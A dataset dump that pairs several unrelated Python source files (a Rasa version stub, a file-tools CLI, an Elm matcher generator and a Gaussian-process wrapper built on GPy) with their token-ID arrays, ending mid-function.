29151, 29918, 29916, 510, 13, 13, 2 ]
rasa/version.py
harada4atsushi/rasa
1
1607890
<filename>rasa/version.py<gh_stars>1-10 # this file will automatically be changed, # do not add anything but the version number here! __version__ = "1.10.0"
[ 1, 529, 9507, 29958, 3417, 29874, 29914, 3259, 29889, 2272, 29966, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 29937, 445, 934, 674, 6336, 367, 3939, 29892, 13, 29937, 437, 451, 788, 3099, 541, 278, 1873, 1353, 1244, 29991, 13, 1649, 3259, 1649, 353, 376, 29896, 29889, 29896, 29900, 29889, 29900, 29908, 13, 2 ]
src/filetools/cli.py
ownport/filemeta
1
1600373
<filename>src/filetools/cli.py<gh_stars>1-10 import os import sys import logging import argparse from filetools import utils from filetools.cleaner import Cleaner from filetools.reporter import Reporter from filetools.scanner import Scanner from filetools.version import version FILETOOLS_USAGE = '''filetools <command> [<args>] The list of commands: stats collect statistics about files in the directory scan scan files into the directory for metadata cleanup removing files, renaming info collect metedata from the file ''' logger = logging.getLogger(__name__) class CLI(): def __init__(self): parser = argparse.ArgumentParser(usage=FILETOOLS_USAGE) parser.add_argument('-v', '--version', action='version', version='filetools-v{}'.format(version)) parser.add_argument('-l', '--log_level', default='DEBUG', help='Log level: DEBUG, INFO, WARNING, ERROR, CRITICAL') parser.add_argument('command', help='Subcommand to run') args = parser.parse_args(sys.argv[1:2]) if not hasattr(self, args.command): print('Unrecognized command: %s' % args.command) sys.exit(1) logging.basicConfig(level=logging.DEBUG, format="%(asctime)s (%(name)s) [%(levelname)s] %(message)s") # use dispatch pattern to invoke method with same name getattr(self, args.command)() @staticmethod def scan(): ''' scan directory for collecting files metadata ''' parser = argparse.ArgumentParser(description='scan files into the directory for metadata') parser.add_argument('--path', dest='path', required=True, help="the path to the directory for file scanning") parser.add_argument('--output-type', dest='output_type', choices=['jsonline', 'sqlite3'], help="the output type") parser.add_argument('--output-file', dest='output_file', help="the path output file for storing metadata") parser.add_argument('--ignore-tag', dest='ignore_tags', action='append', help='the tags for ignoring') _args = parser.parse_args(sys.argv[2:]) try: scanner = Scanner(_args.path, _args.output_type, _args.output_file, _args.ignore_tags) scanner.scan_files() scanner.close() except Exception as err: logger.error(err) @staticmethod def stats(): ''' scan directory for collection general stats about files ''' parser = argparse.ArgumentParser(description='scan files into the directory for metadata') parser.add_argument('--path', dest='path', required=True, help="the path to the directory for file scanning") parser.add_argument('--sort-by', dest='sort_by', default='size', choices=['files', 'size'], help="sort output by number or files or size, default: size") args = parser.parse_args(sys.argv[2:]) if not os.path.exists(args.path) or not os.path.isdir(args.path): parser.print_usage() logger.error('The directory does not exist or not directory, {}'.format(args.path)) sys.exit(1) reporter = Reporter(args.path) reporter.print_general_stats() reporter.print_file_extension_stats(args.sort_by) @staticmethod def cleanup(): ''' cleanup filenames according to predefined rules Rules: - extensions shall be in lower case ''' parser = argparse.ArgumentParser(description='scan files into the directory for metadata') parser.add_argument('--path', dest='path', required=True, help="the path to the directory for file scanning") parser.add_argument('--use-lower-case-in-file-ext', action='store_true', default=False, help="use lower case in file extensions, default: False") parser.add_argument('--remove-broken-files', action='store_true', default=False, help="remove broken files") parser.add_argument('--remove-empty-files', action='store_true', default=False, help="remove empty files") parser.add_argument('--remove-empty-directories', action='store_true', default=False, help="remove empty directories") parser.add_argument('--force', action='store_true', default=False, help="apply forced action, default: False") args = parser.parse_args(sys.argv[2:]) if not os.path.exists(args.path) or not os.path.isdir(args.path): parser.print_usage() logger.error('The directory does not exist or not directory, {}'.format(args.path)) sys.exit(1) cleaner = Cleaner(args.path) if args.use_lower_case_in_file_ext: cleaner.use_lower_case_in_file_ext(args.force) if args.remove_broken_files: cleaner.remove_broken_files(args.force) if args.remove_empty_files: cleaner.remove_empty_files(args.force) if args.remove_empty_directories: cleaner.remove_empty_directories(args.force) @staticmethod def info(): logger.warning('Not implemented yet')
[ 1, 529, 9507, 29958, 4351, 29914, 1445, 8504, 29914, 11303, 29889, 2272, 29966, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 13, 5215, 2897, 13, 5215, 10876, 13, 5215, 12183, 13, 5215, 1852, 5510, 13, 13, 3166, 934, 8504, 1053, 3667, 29879, 13, 3166, 934, 8504, 29889, 14941, 261, 1053, 315, 14044, 261, 13, 3166, 934, 8504, 29889, 276, 18505, 1053, 830, 18505, 13, 3166, 934, 8504, 29889, 1557, 7310, 1053, 23412, 13, 3166, 934, 8504, 29889, 3259, 1053, 1873, 13, 13, 13, 7724, 4986, 5607, 29903, 29918, 3308, 10461, 353, 14550, 1445, 8504, 529, 6519, 29958, 518, 29966, 5085, 29958, 29962, 13, 1576, 1051, 310, 8260, 29901, 13, 1678, 22663, 539, 6314, 13964, 1048, 2066, 297, 278, 3884, 13, 1678, 12812, 4706, 12812, 2066, 964, 278, 3884, 363, 15562, 9651, 13, 1678, 5941, 786, 268, 11077, 2066, 29892, 4325, 11500, 13, 1678, 5235, 4706, 6314, 1539, 287, 532, 515, 278, 934, 308, 13, 12008, 13, 13, 21707, 353, 12183, 29889, 657, 16363, 22168, 978, 1649, 29897, 13, 13, 13, 1990, 24492, 7295, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 1125, 13, 4706, 13812, 353, 1852, 5510, 29889, 15730, 11726, 29898, 21125, 29922, 7724, 4986, 5607, 29903, 29918, 3308, 10461, 29897, 13, 4706, 13812, 29889, 1202, 29918, 23516, 877, 29899, 29894, 742, 525, 489, 3259, 742, 3158, 2433, 3259, 742, 13, 462, 9651, 1873, 2433, 1445, 8504, 29899, 29894, 8875, 4286, 4830, 29898, 3259, 876, 13, 4706, 13812, 29889, 1202, 29918, 23516, 877, 29899, 29880, 742, 525, 489, 1188, 29918, 5563, 742, 2322, 2433, 18525, 742, 13, 462, 9651, 1371, 2433, 3403, 3233, 29901, 21681, 29892, 15233, 29892, 399, 25614, 29892, 14431, 29892, 15600, 1806, 2965, 1964, 1495, 13, 4706, 13812, 29889, 1202, 29918, 23516, 877, 6519, 742, 1371, 2433, 4035, 6519, 304, 1065, 1495, 13, 4706, 6389, 353, 13812, 29889, 5510, 29918, 5085, 29898, 9675, 29889, 19218, 29961, 29896, 29901, 29906, 2314, 13, 13, 4706, 565, 451, 756, 5552, 29898, 1311, 29892, 6389, 29889, 6519, 1125, 13, 9651, 1596, 877, 2525, 29423, 1891, 1899, 29901, 1273, 29879, 29915, 1273, 6389, 29889, 6519, 29897, 13, 9651, 10876, 29889, 13322, 29898, 29896, 29897, 13, 13, 4706, 12183, 29889, 16121, 3991, 29898, 5563, 29922, 21027, 29889, 18525, 29892, 13, 462, 9651, 3402, 543, 29995, 29898, 294, 312, 603, 29897, 29879, 313, 29995, 29898, 978, 29897, 29879, 29897, 518, 29995, 29898, 5563, 978, 29897, 29879, 29962, 1273, 29898, 4906, 29897, 29879, 1159, 13, 13, 4706, 396, 671, 13916, 4766, 304, 15928, 1158, 411, 1021, 1024, 13, 4706, 679, 5552, 29898, 1311, 29892, 6389, 29889, 6519, 29897, 580, 13, 13, 13, 1678, 732, 7959, 5696, 13, 1678, 822, 12812, 7295, 13, 4706, 14550, 12812, 3884, 363, 6314, 292, 2066, 15562, 13, 4706, 14550, 13, 4706, 13812, 353, 1852, 5510, 29889, 15730, 11726, 29898, 8216, 2433, 16192, 2066, 964, 278, 3884, 363, 15562, 1495, 13, 4706, 13812, 29889, 1202, 29918, 23516, 877, 489, 2084, 742, 2731, 2433, 2084, 742, 3734, 29922, 5574, 29892, 13, 462, 9651, 1371, 543, 1552, 2224, 304, 278, 3884, 363, 934, 885, 9450, 1159, 13, 4706, 13812, 29889, 1202, 29918, 23516, 877, 489, 4905, 29899, 1853, 742, 2731, 2433, 4905, 29918, 1853, 742, 13, 462, 9651, 19995, 29922, 1839, 3126, 1220, 742, 525, 22793, 29941, 7464, 13, 462, 9651, 1371, 543, 1552, 1962, 1134, 1159, 13, 4706, 13812, 29889, 1202, 29918, 23516, 877, 489, 4905, 29899, 1445, 742, 2731, 2433, 4905, 29918, 1445, 742, 13, 462, 9651, 1371, 543, 1552, 2224, 1962, 934, 363, 15446, 15562, 1159, 13, 4706, 13812, 29889, 1202, 29918, 23516, 877, 489, 17281, 29899, 4039, 742, 2731, 2433, 17281, 29918, 11338, 742, 3158, 2433, 4397, 742, 13, 462, 9651, 1371, 2433, 1552, 8282, 363, 5330, 8253, 1495, 13, 4706, 903, 5085, 353, 13812, 29889, 5510, 29918, 5085, 29898, 9675, 29889, 19218, 29961, 29906, 29901, 2314, 13, 13, 4706, 1018, 29901, 13, 9651, 885, 7310, 353, 23412, 7373, 5085, 29889, 2084, 29892, 903, 5085, 29889, 4905, 29918, 1853, 29892, 903, 5085, 29889, 4905, 29918, 1445, 29892, 903, 5085, 29889, 17281, 29918, 11338, 29897, 13, 9651, 885, 7310, 29889, 16192, 29918, 5325, 580, 13, 9651, 885, 7310, 29889, 5358, 580, 13, 4706, 5174, 8960, 408, 4589, 29901, 13, 9651, 17927, 29889, 2704, 29898, 3127, 29897, 13, 13, 1678, 732, 7959, 5696, 13, 1678, 822, 22663, 7295, 13, 4706, 14550, 12812, 3884, 363, 4333, 2498, 22663, 1048, 2066, 13, 4706, 14550, 13, 4706, 13812, 353, 1852, 5510, 29889, 15730, 11726, 29898, 8216, 2433, 16192, 2066, 964, 278, 3884, 363, 15562, 1495, 13, 4706, 13812, 29889, 1202, 29918, 23516, 877, 489, 2084, 742, 2731, 2433, 2084, 742, 3734, 29922, 5574, 29892, 13, 462, 9651, 1371, 543, 1552, 2224, 304, 278, 3884, 363, 934, 885, 9450, 1159, 13, 4706, 13812, 29889, 1202, 29918, 23516, 877, 489, 6605, 29899, 1609, 742, 2731, 2433, 6605, 29918, 1609, 742, 2322, 2433, 2311, 742, 13, 462, 9651, 19995, 29922, 1839, 5325, 742, 525, 2311, 7464, 13, 462, 9651, 1371, 543, 6605, 1962, 491, 1353, 470, 2066, 470, 2159, 29892, 2322, 29901, 2159, 1159, 13, 4706, 6389, 353, 13812, 29889, 5510, 29918, 5085, 29898, 9675, 29889, 19218, 29961, 29906, 29901, 2314, 13, 13, 4706, 565, 451, 2897, 29889, 2084, 29889, 9933, 29898, 5085, 29889, 2084, 29897, 470, 451, 2897, 29889, 2084, 29889, 275, 3972, 29898, 5085, 29889, 2084, 1125, 13, 9651, 13812, 29889, 2158, 29918, 21125, 580, 13, 9651, 17927, 29889, 2704, 877, 1576, 3884, 947, 451, 1863, 470, 451, 3884, 29892, 6571, 4286, 4830, 29898, 5085, 29889, 2084, 876, 13, 9651, 10876, 29889, 13322, 29898, 29896, 29897, 13, 13, 4706, 1634, 9555, 353, 830, 18505, 29898, 5085, 29889, 2084, 29897, 13, 4706, 1634, 9555, 29889, 2158, 29918, 17492, 29918, 16202, 580, 13, 4706, 1634, 9555, 29889, 2158, 29918, 1445, 29918, 17588, 29918, 16202, 29898, 5085, 29889, 6605, 29918, 1609, 29897, 13, 13, 1678, 732, 7959, 5696, 13, 1678, 822, 5941, 786, 7295, 13, 4706, 14550, 5941, 786, 977, 264, 1280, 5034, 304, 758, 12119, 6865, 13, 13, 4706, 390, 2540, 29901, 13, 4706, 448, 17752, 4091, 367, 297, 5224, 1206, 13, 4706, 14550, 13, 4706, 13812, 353, 1852, 5510, 29889, 15730, 11726, 29898, 8216, 2433, 16192, 2066, 964, 278, 3884, 363, 15562, 1495, 13, 4706, 13812, 29889, 1202, 29918, 23516, 877, 489, 2084, 742, 2731, 2433, 2084, 742, 3734, 29922, 5574, 29892, 13, 462, 9651, 1371, 543, 1552, 2224, 304, 278, 3884, 363, 934, 885, 9450, 1159, 13, 4706, 13812, 29889, 1202, 29918, 23516, 877, 489, 1509, 29899, 13609, 29899, 4878, 29899, 262, 29899, 1445, 29899, 1062, 742, 3158, 2433, 8899, 29918, 3009, 742, 2322, 29922, 8824, 29892, 259, 13, 462, 9651, 1371, 543, 1509, 5224, 1206, 297, 934, 17752, 29892, 2322, 29901, 7700, 1159, 13, 4706, 13812, 29889, 1202, 29918, 23516, 877, 489, 5992, 29899, 6729, 1717, 29899, 5325, 742, 3158, 2433, 8899, 29918, 3009, 742, 2322, 29922, 8824, 29892, 259, 13, 462, 9651, 1371, 543, 5992, 9391, 2066, 1159, 13, 4706, 13812, 29889, 1202, 29918, 23516, 877, 489, 5992, 29899, 6310, 29899, 5325, 742, 3158, 2433, 8899, 29918, 3009, 742, 2322, 29922, 8824, 29892, 259, 13, 462, 9651, 1371, 543, 5992, 4069, 2066, 1159, 13, 4706, 13812, 29889, 1202, 29918, 23516, 877, 489, 5992, 29899, 6310, 29899, 11851, 3842, 742, 3158, 2433, 8899, 29918, 3009, 742, 2322, 29922, 8824, 29892, 259, 13, 462, 9651, 1371, 543, 5992, 4069, 17525, 1159, 13, 4706, 13812, 29889, 1202, 29918, 23516, 877, 489, 10118, 742, 3158, 2433, 8899, 29918, 3009, 742, 2322, 29922, 8824, 29892, 259, 13, 462, 9651, 1371, 543, 7302, 11826, 3158, 29892, 2322, 29901, 7700, 1159, 13, 4706, 6389, 353, 13812, 29889, 5510, 29918, 5085, 29898, 9675, 29889, 19218, 29961, 29906, 29901, 2314, 13, 13, 4706, 565, 451, 2897, 29889, 2084, 29889, 9933, 29898, 5085, 29889, 2084, 29897, 470, 451, 2897, 29889, 2084, 29889, 275, 3972, 29898, 5085, 29889, 2084, 1125, 13, 9651, 13812, 29889, 2158, 29918, 21125, 580, 13, 9651, 17927, 29889, 2704, 877, 1576, 3884, 947, 451, 1863, 470, 451, 3884, 29892, 6571, 4286, 4830, 29898, 5085, 29889, 2084, 876, 13, 9651, 10876, 29889, 13322, 29898, 29896, 29897, 13, 13, 4706, 27372, 353, 315, 14044, 261, 29898, 5085, 29889, 2084, 29897, 13, 13, 4706, 565, 6389, 29889, 1509, 29918, 13609, 29918, 4878, 29918, 262, 29918, 1445, 29918, 1062, 29901, 13, 9651, 27372, 29889, 1509, 29918, 13609, 29918, 4878, 29918, 262, 29918, 1445, 29918, 1062, 29898, 5085, 29889, 10118, 29897, 13, 13, 4706, 565, 6389, 29889, 5992, 29918, 6729, 1717, 29918, 5325, 29901, 13, 9651, 27372, 29889, 5992, 29918, 6729, 1717, 29918, 5325, 29898, 5085, 29889, 10118, 29897, 13, 13, 4706, 565, 6389, 29889, 5992, 29918, 6310, 29918, 5325, 29901, 13, 9651, 27372, 29889, 5992, 29918, 6310, 29918, 5325, 29898, 5085, 29889, 10118, 29897, 13, 308, 13, 4706, 565, 6389, 29889, 5992, 29918, 6310, 29918, 11851, 3842, 29901, 13, 9651, 27372, 29889, 5992, 29918, 6310, 29918, 11851, 3842, 29898, 5085, 29889, 10118, 29897, 13, 13, 1678, 732, 7959, 5696, 13, 1678, 822, 5235, 7295, 13, 4706, 17927, 29889, 27392, 877, 3664, 8762, 3447, 1495, 13, 2 ]
script/generate-matcher.py
BrianHicks/elm-grapheme
25
138658
#!/usr/bin/env python import argparse import json import os.path as path import sys parser = argparse.ArgumentParser() parser.add_argument('destination') args = parser.parse_args() classes = json.load(sys.stdin) module = args.destination[len('src/'):-len('.elm')].replace('/', '.') class_ = module.split('.')[-1] if class_ not in classes: print('{} not in classes!'.format(class_)) sys.exit(1) out = [] out.append('module {} exposing (chars, match)'.format(module)) out.append('') out.append('{-| Hey, this module was generated automatically. Please don\'t edit it.') out.append('') out.append('Run `make {}` instead!'.format(args.destination)) out.append('') out.append('-}') out.append('') out.append('import String.Graphemes.Data as Data') out.append('import String.Graphemes.RangeDict as RangeDict exposing (RangeDict)') out.append('import String.Graphemes.RangeDict.Range as Range exposing (Range)') out.append('') out.append('') out.append('match : Char -> Bool') out.append('match c =') out.append(' RangeDict.member c chars') out.append('') out.append('') # CHARS chars = [] def elm_char(char): if char == '\n': return '\\n' elif char == '\r': return '\\r' elif char == '"': return '\\"' elif char == '\\': return '\\\\' elif class_ == 'Control': return '\\u{%s}' % hex(ord(char))[2:].zfill(4) else: return char for (i, match) in enumerate(classes[class_]): if match['kind'] == 'range': chars.append('2{}{}'.format(elm_char(match['start']), elm_char(match['end']))) elif match['kind'] == 'single': chars.append('1{}'.format(elm_char(match['codepoint']))) else: print('I don\'t know how to handle a "{}"!'.format(match['kind'])) sys.exit(1) out.append('chars : RangeDict Char Data.Class') out.append('chars =') out.append(' (Result.withDefault RangeDict.empty << Data.parser Data.{})'.format( class_.replace('_', ''), )) out.append(' "{}"'.format(''.join(chars))) # write out the final result with open(args.destination, 'w') as fh: fh.write('\n'.join(out))
[ 1, 18787, 4855, 29914, 2109, 29914, 6272, 3017, 13, 5215, 1852, 5510, 13, 5215, 4390, 13, 5215, 2897, 29889, 2084, 408, 2224, 13, 5215, 10876, 13, 13, 16680, 353, 1852, 5510, 29889, 15730, 11726, 580, 13, 16680, 29889, 1202, 29918, 23516, 877, 23848, 1495, 13, 5085, 353, 13812, 29889, 5510, 29918, 5085, 580, 13, 13, 13203, 353, 4390, 29889, 1359, 29898, 9675, 29889, 4172, 262, 29897, 13, 13, 5453, 353, 6389, 29889, 23848, 29961, 2435, 877, 4351, 22208, 1125, 29899, 2435, 12839, 16422, 1495, 1822, 6506, 11219, 742, 15300, 1495, 13, 1990, 29918, 353, 3883, 29889, 5451, 12839, 1495, 14352, 29896, 29962, 13, 13, 361, 770, 29918, 451, 297, 4413, 29901, 13, 1678, 1596, 877, 8875, 451, 297, 4413, 29991, 4286, 4830, 29898, 1990, 29918, 876, 13, 1678, 10876, 29889, 13322, 29898, 29896, 29897, 13, 13, 449, 353, 5159, 13, 449, 29889, 4397, 877, 5453, 6571, 14060, 292, 313, 305, 1503, 29892, 1993, 29897, 4286, 4830, 29898, 5453, 876, 13, 449, 29889, 4397, 877, 1495, 13, 449, 29889, 4397, 877, 8499, 29989, 18637, 29892, 445, 3883, 471, 5759, 6336, 29889, 3529, 1016, 20333, 29873, 3863, 372, 29889, 1495, 13, 449, 29889, 4397, 877, 1495, 13, 449, 29889, 4397, 877, 6558, 421, 5675, 6571, 29952, 2012, 29991, 4286, 4830, 29898, 5085, 29889, 23848, 876, 13, 449, 29889, 4397, 877, 1495, 13, 449, 29889, 4397, 877, 27154, 1495, 13, 449, 29889, 4397, 877, 1495, 13, 449, 29889, 4397, 877, 5215, 1714, 29889, 9527, 13826, 29889, 1469, 408, 3630, 1495, 13, 449, 29889, 4397, 877, 5215, 1714, 29889, 9527, 13826, 29889, 6069, 21533, 408, 12146, 21533, 14060, 292, 313, 6069, 21533, 29897, 1495, 13, 449, 29889, 4397, 877, 5215, 1714, 29889, 9527, 13826, 29889, 6069, 21533, 29889, 6069, 408, 12146, 14060, 292, 313, 6069, 29897, 1495, 13, 449, 29889, 4397, 877, 1495, 13, 449, 29889, 4397, 877, 1495, 13, 449, 29889, 4397, 877, 4352, 584, 2896, 1599, 18912, 1495, 13, 449, 29889, 4397, 877, 4352, 274, 353, 1495, 13, 449, 29889, 4397, 877, 1678, 12146, 21533, 29889, 14242, 274, 22524, 1495, 13, 449, 29889, 4397, 877, 1495, 13, 449, 29889, 4397, 877, 1495, 13, 13, 29937, 26871, 29903, 13, 13, 305, 1503, 353, 5159, 13, 13, 1753, 560, 29885, 29918, 3090, 29898, 3090, 1125, 13, 1678, 565, 1373, 1275, 11297, 29876, 2396, 13, 4706, 736, 525, 1966, 29876, 29915, 13, 1678, 25342, 1373, 1275, 11297, 29878, 2396, 13, 4706, 736, 525, 1966, 29878, 29915, 13, 1678, 25342, 1373, 1275, 18793, 2396, 13, 4706, 736, 525, 1966, 29908, 29915, 13, 1678, 25342, 1373, 1275, 525, 1966, 2396, 13, 4706, 736, 525, 1966, 1966, 29915, 13, 1678, 25342, 770, 29918, 1275, 525, 4809, 2396, 13, 4706, 736, 525, 1966, 29884, 18255, 29879, 10162, 1273, 15090, 29898, 536, 29898, 3090, 876, 29961, 29906, 29901, 1822, 29920, 5589, 29898, 29946, 29897, 13, 1678, 1683, 29901, 13, 4706, 736, 1373, 13, 13, 1454, 313, 29875, 29892, 1993, 29897, 297, 26985, 29898, 13203, 29961, 1990, 29918, 29962, 1125, 13, 1678, 565, 1993, 1839, 14380, 2033, 1275, 525, 3881, 2396, 13, 4706, 22524, 29889, 4397, 877, 29906, 29912, 1157, 29913, 4286, 4830, 29898, 16422, 29918, 3090, 29898, 4352, 1839, 2962, 2033, 511, 560, 29885, 29918, 3090, 29898, 4352, 1839, 355, 2033, 4961, 13, 1678, 25342, 1993, 1839, 14380, 2033, 1275, 525, 14369, 2396, 13, 4706, 22524, 29889, 4397, 877, 29896, 8875, 4286, 4830, 29898, 16422, 29918, 3090, 29898, 4352, 1839, 401, 3149, 2033, 4961, 13, 1678, 1683, 29901, 13, 4706, 1596, 877, 29902, 1016, 20333, 29873, 1073, 920, 304, 4386, 263, 29850, 5038, 29991, 4286, 4830, 29898, 4352, 1839, 14380, 25901, 13, 4706, 10876, 29889, 13322, 29898, 29896, 29897, 13, 13, 449, 29889, 4397, 877, 305, 1503, 584, 12146, 21533, 2896, 3630, 29889, 2385, 1495, 13, 449, 29889, 4397, 877, 305, 1503, 353, 1495, 13, 449, 29889, 4397, 877, 1678, 313, 3591, 29889, 2541, 4592, 12146, 21533, 29889, 6310, 3532, 3630, 29889, 16680, 3630, 29889, 29912, 1800, 4286, 4830, 29898, 13, 1678, 770, 5396, 6506, 877, 29918, 742, 525, 5477, 13, 876, 13, 449, 29889, 4397, 877, 4706, 29850, 5038, 4286, 4830, 877, 4286, 7122, 29898, 305, 1503, 4961, 13, 13, 29937, 2436, 714, 278, 2186, 1121, 13, 13, 2541, 1722, 29898, 5085, 29889, 23848, 29892, 525, 29893, 1495, 408, 285, 29882, 29901, 13, 1678, 285, 29882, 29889, 3539, 28909, 29876, 4286, 7122, 29898, 449, 876, 13, 2 ]
Sampling/gp/GPy_wrapper.py
josephhic/AutoDot
7
28001
import numpy as np import GPy from .GP_interface import GPInterface, convert_lengthscale, convert_2D_format class GPyWrapper(GPInterface): def __init__(self): # GPy settings GPy.plotting.change_plotting_library("matplotlib") # use matpoltlib for drawing super().__init__() self.center = 0.0 def create_kernel(self, ndim, kernel_name, var_f=1.0, lengthscale=1.0, const_kernel=False): if kernel_name == 'Matern52': l = convert_lengthscale(ndim, lengthscale) kernel = GPy.kern.Matern52(input_dim=ndim, ARD=True, variance=var_f, lengthscale=l, name='basic') elif kernel_name == 'RBF': l = convert_lengthscale(ndim, lengthscale) kernel = GPy.kern.RBF(input_dim=ndim, ARD=True, variance=var_f, lengthscale=l, name='basic') else: raise ValueError('Unsupported kernel: '+ kernel_name) self.ndim = ndim self.kernel = kernel if const_kernel: self.kernel += GPy.kern.Bias(1.0) self.stat_kernel = self.kernel.basic else: self.stat_kernel = self.kernel def set_kernel_length_prior(self, prior_mean, prior_var): if self.ndim != len(prior_mean) or self.ndim != len(prior_var): raise ValueError('Incorrect kernel prior parameters.') if self.kernel is None: raise ValueError('Kernel should be defined first.') for i in range(self.ndim): self.stat_kernel.lengthscale[[i]].set_prior(GPy.priors.Gamma.from_EV(prior_mean[i],prior_var[i])) # don't know why, but [i] does not work def set_kernel_var_prior(self, prior_mean, prior_var): self.stat_kernel.variance.set_prior(GPy.priors.Gamma.from_EV(prior_mean,prior_var)) def fix_kernel_lengthscale(self): self.stat_kernel.lengthscale.fix() def fix_kernel_var(self): self.stat_kernel.variance.fix() def create_model(self, x, y, noise_var, noise_prior='fixed'): x = convert_2D_format(x) y = convert_2D_format(y) - self.center self.outdim = y.shape[1] noise_var = np.array(noise_var) if noise_var.ndim == 0: self.model = GPy.models.GPRegression(x, y, self.kernel, noise_var=noise_var) noise = self.model.Gaussian_noise else: assert noise_var.shape == y.shape self.model = GPy.models.GPHeteroscedasticRegression(x, y, self.kernel) self.model['.*het_Gauss.variance'] = noise_var noise = self.model.het_Gauss.variance if noise_prior == 'fixed': noise.fix() else: raise ValueError('Not Implemented yet.') def predict_f(self, x, full_cov=False): ''' Returns: posterior mean, posterior variance ''' x = convert_2D_format(x) post_mean, post_var = self.model.predict_noiseless(x, full_cov=full_cov) if self.outdim > 1: post_var = np.concatenate([post_var]*self.outdim, axis=-1) return post_mean + self.center, post_var def predict_withGradients(self, x): ''' Borrowed from https://github.com/SheffieldML/GPyOpt/blob/master/GPyOpt/models/gpmodel.py Returns the mean, standard deviation, mean gradient and standard deviation gradient at X. ''' x = convert_2D_format(x) m, v = self.model.predict(x) v = np.clip(v, 1e-10, np.inf) dmdx, dvdx = self.model.predictive_gradients(x) dmdx = dmdx[:,:,0] dsdx = dvdx / (2*np.sqrt(v)) return m + self.center, np.sqrt(v), dmdx, dsdx def posterior_sample_f(self, x, size = 10): ''' Parameters x: (Nnew x input_dim) Returns (Nnew x output_dim x samples) ''' return self.model.posterior_samples_f(x, size) + self.center def optimize(self, num_restarts=30, opt_messages=False, print_result=True, parallel=False): self.model.optimize_restarts(num_restarts=num_restarts, robust=True, parallel=False, messages=opt_messages) if print_result: print(self.kernel) print(self.stat_kernel.lengthscale) print(self.stat_kernel.variance) class GPyWrapper_Classifier(GPyWrapper): def create_model(self, x, y): assert self.center == 0.0 x = convert_2D_format(x) y = convert_2D_format(y) self.outdim = y.shape[1] self.model = GPy.models.GPClassification(x, y, self.kernel) def predict_prob(self, x): x = convert_2D_format(x) prob = self.model.predict(x, full_cov=False)[0] return prob def optimize(self, maxiter=1000, opt_messages=False, print_result=True): for i in range(5): self.model.optimize(max_iters=int(maxiter/5), messages=opt_messages) if print_result: print(self.kernel) print(self.stat_kernel.lengthscale) class GPyWrapper_MultiSeparate(object): def create_kernel(self, ndim, outdim, kernel_name, var_f=1.0, lengthscale=1.0, const_kernel=False): if isinstance(kernel_name, str): kernel_name = [kernel_name]*outdim if np.isscalar(var_f): var_f = np.ones(outdim) * var_f if np.isscalar(lengthscale): var_f = np.ones(outdim) * lengthscale if isinstance(const_kernel, bool): const_kernel = [const_kernel]*outdim self.gp_list = list() for i in range(outdim): gp = GPyWrapper() gp.create_kernel(ndim, kernel_name[i], var_f[i], lengthscale[i], const_kernel[i]) self.gp_list.append(gp) self.outdim = outdim def set_kernel_length_prior(self, prior_mean, prior_var): # Apply same prior for all outputs for i in range(self.outdim): self.gp_list[i].set_kernel_length_prior(prior_mean, prior_var) def set_kernel_var_prior(self, prior_mean, prior_var): # Apply same prior for all outputs for i in range(self.outdim): self.gp_list[i].set_kernel_var_prior(prior_mean, prior_var) def fix_kernel_lengthscale(self): for i in range(self.outdim): self.gp_list[i].fix_kernel_lengthscale() def fix_kernel_var(self): for i in range(self.outdim): self.gp_list[i].fix_kernel_var() def create_model(self, x, y, noise_var, noise_prior='fixed'): if not (y.ndim == 2 and y.shape[1] == self.outdim): raise ValueError('Incorrect data shape.') noise_var = np.array(noise_var) for i in range(self.outdim): if noise_var.ndim == 2 and noise_var.shape[1] == self.outdim: noise_var_i = noise_var[:, i:i+1] else: noise_var_i = noise_var gp = self.gp_list[i] gp.create_model(x, y[:,i:i+1], noise_var_i, noise_prior) def predict_f(self, x, full_cov=False): post_mean_all = list() post_var_all = list() for i in range(self.outdim): post_mean, post_var = self.gp_list[i].predict_f(x, full_cov) post_mean_all.append(post_mean) post_var_all.append(post_var) return np.concatenate(post_mean_all,axis=-1), np.concatenate(post_var_all,axis=-1) def posterior_sample_f(self, x, size = 10): post_samples_all = list() for i in range(self.outdim): post_samples = self.gp_list[i].predict_f(x, full_cov) post_samples_all.append(post_samples) return np.concatenate(post_samples_all,axis=1) def optimize(self, num_restarts=30, opt_messages=False, print_result=False): for i in range(self.outdim): self.gp_list[i].optimize(num_restarts, opt_messages, print_result) def predict_withGradients(self, x): ''' Borrowed from https://github.com/SheffieldML/GPyOpt/blob/master/GPyOpt/models/gpmodel.py Returns the mean, standard deviation, mean gradient and standard deviation gradient at X. m_all: (num_x, outdim) std_all: (num_x, outdim) dmdx_all: (num_x, outdim, n_dim) dsdx_all: (num_x, outdim, n_dim) ''' m_all, std_all, dmdx_all, dsdx_all = [], [], [], [] for i in range(self.outdim): m, std, dmdx, dsdx = self.gp_list[i].predict_withGradients(x) m_all.append(m) std_all.append(std) dmdx_all.append(dmdx) dsdx_all.append(dsdx) return np.concatenate(m_all,axis=-1), np.concatenate(std_all,axis=-1), np.stack(dmdx_all,axis=1), np.stack(dsdx_all,axis=1) class GPyWrapper_MultiIndep(GPyWrapper): def create_kernel(self, ndim, outdim, kernel_name, var_f=1.0, lengthscale=1.0, const_kernel=False): super().create_kernel(ndim, kernel_name, var_f, lengthscale, const_kernel) k_multi = GPy.kern.IndependentOutputs([self.kernel, self.kernel.copy()]) #icm = GPy.util.multioutput.ICM(input_dim=ndim, num_outputs=outdim, kernel=self.kernel) #icm.B.W.constrain_fixed(0) # fix W matrix to 0 if const_kernel: self.stat_kernel = k_multi.sum.basic else: self.stat_kernel = k_multi.basic self.kernel = k_multi print(self.kernel) def create_model(self, x, y, noise_var, noise_prior='fixed'): x = convert_2D_format(x) y = convert_2D_format(y) - self.center numdata = x.shape[0] outdim = y.shape[1] indim = x.shape[1] yy = y.transpose().ravel() ind = np.concatenate([ o*np.ones(numdata) for o in range(outdim)]) xx = np.concatenate([x]*outdim) xx = np.concatenate((xx,ind[:,np.newaxis]), axis=1) print(xx.shape, yy.shape) self.model = GPy.models.GPRegression(x, y, self.kernel, noise_var=noise_var) if noise_prior == 'fixed': self.model.Gaussian_noise.fix() else: raise ValueError('Not Implemented yet.') def create_GP(num_active_gates, outdim, k_name='Matern52', var_f=1.0, lengthscale=1.0, center=0.0): if np.isscalar(lengthscale): lengthscale = np.ones(num_active_gates) gp = GPyWrapper() # initialize GP environment #gp = GPyWrapper_MultiIndep() # initialize GP environment gp.center = center # GP kernels gp.create_kernel(num_active_gates, 